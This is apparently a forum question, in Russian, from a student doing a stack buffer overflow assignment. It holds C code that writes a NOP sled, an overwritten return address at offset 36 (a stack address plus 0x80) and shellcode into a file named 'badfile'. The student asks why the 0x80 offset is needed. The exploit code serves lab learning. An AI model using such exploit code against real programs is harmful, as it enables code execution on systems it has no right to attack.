void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
*((long *) (buffer + 36)) = 0xffffce78 + 0x80;
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Я просто делаю свое назначение на BOF, теперь я знаю две вещи для выполнения BOF.
1, адрес указателя инструкции, чтобы указывать на мой шелл-код
2, адрес моего шелл-кода.
Адрес буфера: 0xffffce28
в GDB и 0xffffce78
в C, $ ebp указывает на 0xffffce48
.Таким образом, чтобы получить адрес eip, 0xffffce48 - 0xffffce28 + 4 = 36
.Но сохранение моего адреса кода оболочки, 0xffffce78
, в буфере + 36 поднимает недопустимую инструкцию (ядро сброшено), но добавление 0x80
с адресом буфера работает, почему?